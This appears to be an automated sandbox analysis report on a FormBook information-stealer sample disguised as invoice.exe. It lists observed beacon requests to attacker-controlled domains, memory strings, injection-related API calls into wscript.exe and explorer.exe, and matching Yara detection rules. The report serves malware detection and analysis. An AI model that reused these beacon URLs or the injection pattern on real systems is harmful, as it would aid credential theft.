Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=7ZSYqSAb20IhJodkc2ZZv2+VQiffweVGAnhTkqT9MP7KQ1W755ixlatoWnihL/C2wZs0&uFQl=XP7HMT_8 HTTP/1.1Host: www.highdeserthealthinsurance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?uFQl=XP7HMT_8&w0G=Ok77fVcdVMfIiR4pMXON/NN29f2Jfu2AMoU186FmLUOu6U92Y3SpeQqKBhzvmDYI2dCa HTTP/1.1Host: www.hotelmaktub.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J+dvoSMZhdpoUDtYYFWxv9npQwlOrxt3zkZH4aLHtWZT3&uFQl=XP7HMT_8 HTTP/1.1Host: www.legacyadmin.supportConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.flowhcf.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.16.1Date: Thu, 08 Apr 2021 10:04:37 GMTContent-Type: text/htmlContent-Length: 153Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: invoice.exe, 00000000.00000002.245256874.0000000002EBE000.00000004.00000001.sdmp, invoice.exe, 00000000.00000002.245138274.0000000002EA1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: invoice.exe, 00000000.00000002.245256874.0000000002EBE000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name4
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: wscript.exe, 00000009.00000002.494442857.0000000004CF2000.00000004.00000001.sdmp	String found in binary or memory: http://www.knoxvilleoutdoorkitchens.com/?fp=acjVxO24ruBE1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: invoice.exe	String found in binary or memory: https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
Source: invoice.exe	String found in binary or memory: https://github.com/Spegeli/Pokemon-Go-Rocket-API/archive/master.zip
Source: invoice.exe	String found in binary or memory: https://github.com/d-haxton/HaxtonBot/archive/master.zip
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: wscript.exe, 00000009.00000002.494442857.0000000004CF2000.00000004.00000001.sdmp	String found in binary or memory: https://www.legacyadmin.support/e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: invoice.exe

Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004181D0 NtCreateFile,	3_2_004181D0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00418280 NtReadFile,	3_2_00418280
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00418300 NtClose,	3_2_00418300
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004183B0 NtAllocateVirtualMemory,	3_2_004183B0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041827A NtReadFile,	3_2_0041827A
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004182FB NtReadFile,	3_2_004182FB
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004183AA NtAllocateVirtualMemory,	3_2_004183AA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9540 NtReadFile,LdrInitializeThunk,	9_2_046A9540
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A95D0 NtClose,LdrInitializeThunk,	9_2_046A95D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9660 NtAllocateVirtualMemory,LdrInitializeThunk,	9_2_046A9660
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9650 NtQueryValueKey,LdrInitializeThunk,	9_2_046A9650
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A96E0 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_046A96E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A96D0 NtCreateKey,LdrInitializeThunk,	9_2_046A96D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9710 NtQueryInformationToken,LdrInitializeThunk,	9_2_046A9710
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9FE0 NtCreateMutant,LdrInitializeThunk,	9_2_046A9FE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9780 NtMapViewOfSection,LdrInitializeThunk,	9_2_046A9780
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9860 NtQuerySystemInformation,LdrInitializeThunk,	9_2_046A9860
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9840 NtDelayExecution,LdrInitializeThunk,	9_2_046A9840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	9_2_046A9910
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A99A0 NtCreateSection,LdrInitializeThunk,	9_2_046A99A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9A50 NtCreateFile,LdrInitializeThunk,	9_2_046A9A50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9560 NtWriteFile,	9_2_046A9560
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9520 NtWaitForSingleObject,	9_2_046A9520
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046AAD30 NtSetContextThread,	9_2_046AAD30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A95F0 NtQueryInformationFile,	9_2_046A95F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9670 NtQueryInformationProcess,	9_2_046A9670
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9610 NtEnumerateValueKey,	9_2_046A9610
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9760 NtOpenProcess,	9_2_046A9760
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046AA770 NtOpenThread,	9_2_046AA770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9770 NtSetInformationFile,	9_2_046A9770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9730 NtQueryVirtualMemory,	9_2_046A9730
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046AA710 NtOpenProcessToken,	9_2_046AA710
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A97A0 NtUnmapViewOfSection,	9_2_046A97A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046AB040 NtSuspendThread,	9_2_046AB040
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9820 NtEnumerateKey,	9_2_046A9820
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A98F0 NtReadVirtualMemory,	9_2_046A98F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A98A0 NtWriteVirtualMemory,	9_2_046A98A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9950 NtQueueApcThread,	9_2_046A9950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A99D0 NtCreateProcessEx,	9_2_046A99D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9A20 NtResumeThread,	9_2_046A9A20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9A00 NtProtectVirtualMemory,	9_2_046A9A00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9A10 NtQuerySection,	9_2_046A9A10
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9A80 NtOpenDirectoryObject,	9_2_046A9A80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A9B00 NtSetValueKey,	9_2_046A9B00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046AA3B0 NtGetContextThread,	9_2_046AA3B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C8280 NtReadFile,	9_2_021C8280
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C8300 NtClose,	9_2_021C8300
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C83B0 NtAllocateVirtualMemory,	9_2_021C83B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C81D0 NtCreateFile,	9_2_021C81D0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C827A NtReadFile,	9_2_021C827A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C82FB NtReadFile,	9_2_021C82FB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C83AA NtAllocateVirtualMemory,	9_2_021C83AA

Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_00802050	0_2_00802050
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_011794A8	0_2_011794A8
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0117DCF4	0_2_0117DCF4
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0117C148	0_2_0117C148
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0117E218	0_2_0117E218
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0117A748	0_2_0117A748
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0117DCE8	0_2_0117DCE8
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF0040	0_2_02BF0040
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5930	0_2_02BF5930
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF1331	0_2_02BF1331
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF1340	0_2_02BF1340
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF0006	0_2_02BF0006
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5558	0_2_02BF5558
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5548	0_2_02BF5548
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF1A38	0_2_02BF1A38
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF1A27	0_2_02BF1A27
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5B95	0_2_02BF5B95
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5B3B	0_2_02BF5B3B
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF5B5A	0_2_02BF5B5A
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF28F7	0_2_02BF28F7
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041C803	3_2_0041C803
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00408C6B	3_2_00408C6B
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00408C70	3_2_00408C70
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041C598	3_2_0041C598
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00D72050	3_2_00D72050
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472D466	9_2_0472D466
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467841F	9_2_0467841F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04731D55	9_2_04731D55
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04660D20	9_2_04660D20
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04732D07	9_2_04732D07
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467D5E0	9_2_0467D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047325DD	9_2_047325DD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04692581	9_2_04692581
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04686E30	9_2_04686E30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472D616	9_2_0472D616
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04732EF7	9_2_04732EF7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04731FF1	9_2_04731FF1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721002	9_2_04721002
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047328EC	9_2_047328EC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046920A0	9_2_046920A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047320A8	9_2_047320A8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467B090	9_2_0467B090
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04684120	9_2_04684120
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466F900	9_2_0466F900
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047322AE	9_2_047322AE
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04732B28	9_2_04732B28
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472DBD2	9_2_0472DBD2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469EBB0	9_2_0469EBB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CC803	9_2_021CC803
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021B2FB0	9_2_021B2FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021B8C70	9_2_021B8C70
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021B8C6B	9_2_021B8C6B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CC598	9_2_021CC598
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021B2D90	9_2_021B2D90

Source: C:\Windows\SysWOW64\wscript.exe

Code function: String function: 0466B150 appears 35 times

Source: invoice.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: invoice.exe	Binary or memory string: OriginalFilename vs invoice.exe
Source: invoice.exe, 00000000.00000000.221487542.0000000000802000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCharTypeInfo.exeD vs invoice.exe
Source: invoice.exe, 00000000.00000002.253920792.00000000074A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll" vs invoice.exe
Source: invoice.exe, 00000000.00000002.245256874.0000000002EBE000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSimpleUI.dll2 vs invoice.exe
Source: invoice.exe	Binary or memory string: OriginalFilename vs invoice.exe
Source: invoice.exe, 00000003.00000000.241463096.0000000000D72000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCharTypeInfo.exeD vs invoice.exe
Source: invoice.exe, 00000003.00000002.288057088.0000000001B70000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs invoice.exe
Source: invoice.exe, 00000003.00000002.287622749.00000000018CF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs invoice.exe
Source: invoice.exe	Binary or memory string: OriginalFilenameCharTypeInfo.exeD vs invoice.exe

Source: invoice.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
